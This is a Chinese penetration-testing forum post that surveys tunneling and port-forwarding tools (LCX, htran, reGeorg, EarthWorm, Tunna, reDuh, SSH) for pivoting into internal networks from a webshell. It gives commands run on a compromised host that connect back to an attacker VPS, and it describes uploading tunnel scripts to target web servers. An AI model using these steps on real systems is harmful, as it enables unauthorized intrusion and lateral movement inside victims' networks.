[原创]代理转发工具汇总分析
0. 序
原文发在t00ls,反馈不错,被评为精华帖子。
在综合的渗透过程中,Shell is Only the Beginning 。 内网渗透无论是难度还是广度都不亚于前端入侵。
介于Webshell 和 内网渗透之间的是 代理转发工具。 一个高效稳定代理尤为重要。
我们经常用的代理转发工具包括:端口转发工具、Web代理脚本、Shell反弹脚本、VPN等,如下图
1. 关于代理的说明
1. 引用redrain:正向代理是我们自己(Lhost)戴套(proxy)插进去,反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)
2. 反向代理:将内网的流量转发到外网 ; 正向代理:以某台机器为跳板,做正向代理进行内网穿透
2. 关于多个代理转发工具的使用心得
总体来讲,自身使用频率较高的是:
第一个是 LCX 对 windows 3389 的转发;
第二个是 reGeorg 通过上传对应脚本(PHP/ASPX/JSP),然后全局代理进一步内网渗透;
第三个是 EarthWorm ,今年发现的,效果不错。并且还能多重网络应用。
主要的想法心得:
1. windows 系列, 肯定把3389 弹出来 比较直接, lcx 作为首选。 当然这也是比较老的工具了。
2. linux 系列, 22 也需要转发, 但总感觉需求不如3389大, 需要交互式shell 直接 shell 反弹就好了,比如bash nc python等。
3. 全局代理很有必要,regeorg ew 都不错,速度也跟的上,性能相对稳定。 挂上局部或者全局代理后,可以NMAP 可以fenghuangscan 也可以POC-fuzz 等等,试想今年猪猪侠讲的SSRF 作用那么大,借助代理后能做的更多。
4. 实测的 Tunna & reDuh 速度比较慢, 但reDuh 在RDP 过程中 比Tunna 快。
5. Proxifier 这个工具操作起来稍微麻烦,但用习惯了,特别好用。 比如挂代理后,远控内网的DB...
6. SocksCap64 & proxychains 都是局部代理, 快速方便,简单易懂。
7. Htran 这个工具支持的非常全面支持正向代理、反向代理、正向端口转发、反向端口转发, 在实际渗透过程中正向端口转发略显鸡肋,谁家Web应用任你随便开端口? 即使开了防火墙也不乐意。
8. SSH转发、NC 、bash 等反弹,方便快捷,不用上传东西,居家旅行必备。
如下图,xls文件 稍后分享
3. 解释下Web代理的原理和重要性
我用的Web代理主要是reGeorg EarthWorm , EW 的功能更完善。reGeorg 属于正向代理、EW 支持正向&反向代理。估计后期会更加强大。
1.菜刀我们都用过,其中有个功能非常实惠,就是数据库连接功能。 不但能够连接自身IP的数据库,也能连接内网对应的数据库。 他之所以能够做到,是因为他是以Web应用的网络权限去连接内网数据库。
2.同理,我们上传脚本后,使用了Web代理,若使用了全局代理,相当于我们整个PC 的通讯都是以 Web应用的网络权限去访问内网。
下面我给个测试用例:
webshell 及 VPS 套用,打马比较麻烦。 我用的是本机和虚拟机。
主机A(win10) ---- Web应用B(win2003) ---- 内网主机C(kali)
192.168.1.103 ---- 192.168.192.129 ---- 192.168.192.128
原则上来讲,我用A 访问 C 是能直接通讯的, 我没有设置iptables, 稍后我通过wireshark 抓包来观察现象。(若A访问C,源地址是192.168.192.1 虚拟网卡的地址)
目的:攻击者A 通过web应用B 看内网主机C, 在C上查看流量发现是B访问的而非攻击者。
步骤如下:
第一步: 上传tunnel 文件 到 Web应用B
第二步: 在A 上,使用reGeorgSocksProxy.py 并指定端口
第三步: 设置自己的代理Proxifier 或者SocksCap64(本次使用的是proxifier)
第四步: 在C上使用wireshark 查看流量信息。(当然也可以查看日志)
截图如下:
4. 其他工具的一些使用方法概要
PS:其实这些网上很多,最后我附上我觉得还不错的链接。
LCX
VPS: lcx -listen 2222 3333
//2222为转发端口,3333为本机任意未被占用的端口
肉鸡:lcx -slave 119.75.217.56 2222 127.0.0.1 3389
//119.75.217.56 为VPS IP,2222为转发端口,127.0.0.1为肉鸡内网IP,3389为远程终端端口
3389连接时格式 127.0.0.1:3333
rtcp.py
from:http://blog.knownsec.com/2012/02/open-source-rtcp/
A服务器在内网,公网无法直接访问这台服务器,但是A服务器可以联网访问公网的B服务器(假设IP为222.2.2.2)。
我们也可以访问公网的B服务器。我们的目标是访问A服务器的22端口。那么可以这样:
1. 在B服务器上运行:
./rtcp.py l:10001 l:10002
表示在本地监听了10001与10002两个端口,这样,这两个端口就可以互相传输数据了。
2. 在A服务器上运行:
./rtcp.py c:localhost:22 c:222.2.2.2:10001
表示连接本地的22端口与B服务器的10001端口,这两个端口也可以互相传输数据了。
3. 然后我们就可以这样来访问A服务器的22端口了:
ssh 222.2.2.2 -p 10002
原理很简单,这个命令执行后,B服务器的10002端口接收到的任何数据都会传给10001端口,此时,A服务器是连接了B服务器的10001端口的,数据就会传给A服务器,最终进入A服务器的22端口。
测试用例截图如下:
这个过程有个报错ssh_exchange_identification: read: Connection reset by peer 解决方法:chmod 400 /etc/ssh/*
htran
正向代理 服务端 htran.exe -s -bind 8888 客户端 SocksCap:SOCKS Version 5 服务端IP:8888 反向代理 客户端 htran.exe -s -listen 1234 8888 服务端 htran.exe -s -connect 客户端IP 1234 客户端 SocksCap:SOCKS Version 5 127.0.0.1:8888 正向端口转发 服务端 htran.exe -p -tran 8888 127.0.0.1 3389 客户端 RDP 服务端IP:8888 反向端口转发 客户端 htran.exe -p -listen 1234 8888 服务端 htran.exe -p -slave 客户端IP 1234 127.0.0.1 3389 客户端 RDP 127.0.0.1:8888
Tunna
这个工具用法很普通,主要是中间有个bug我给提示下
第一步 上传脚本
第二步 运行proxy.py 并指定端口 python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
第三步 本地执行 rdesktop 127.0.0.1:1234
bug : 在过程中,出现远程桌面的黄框后程序断掉,不要关闭这个提示,再运行一次即可。
reDuh
第一步:把服务端的reDuh脚本(aspx php jsp)上传到目标服务器。
第二步:java -jar reDuhClient.jar http://192.168.3.143/reDuh.php
第三步:新开命令窗口,nc -vv localhost 1010
然后输入[createTunnel]1234:127.0.0.1:22
//前面的1234是本机连接用的端口,中间的ip地址是目标服务器的(可以是webshell所在服务器也可以是和它同内网的服务器),后面的22是欲连接目标服务器的端口。
成功后两个命令行窗口都会有成功提示。Successfully bound locally to port 1234. Awaiting connections.
第四步:远程连接
reGeorg
步骤不再赘述,见原理,分享一个webshell后代理后的 测试效果
另外git还有个配套的脚本,专门用来收集内网信息的——dir_scan.py & net_scan.py 。
https://github.com/kovige/NetScan
EarthWorm
from:http://rootkiter.com/EarthWorm/
按照官网来即可,那几个参数得多弄几遍才会记得清。
配套的Termite 也非常不错。
正向代理
反向代理
a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 将目标网络的可控边界主机反向连接公网主机
c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务
SSH转发
比较实用。拿来主义 SSH隧道进行代理 ssh -qTfnN -L port:host:hostport -l user remote_ip #正向隧道,监听本地port ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类 SSH -qTfnN -D port remotehost SSH端口转发 ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发 ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
5. 附录-参考资料
1. http://www.freebuf.com/articles/system/12182.html Socks代理反弹突破内网
2. http://www.cnseay.com/3972/ 奇人绝技:利用php socket5代理进行内网渗透测试
3. https://www.91ri.org/14390.html 内网渗透随想
4. http://le4f.net/post/post/revers ... he-penetration-test 渗透测试:反弹与转发小结
5. http://staff.washington.edu/corey/fw/ssh-port-forwarding.html ssh 端口转发
6. 文中提到的表格下载地址 分享-代理转发工具汇总.xlsx(打开表格的密码是sm0nk) 链接: https://pan.baidu.com/s/1jIxzIiq 密码: kd8r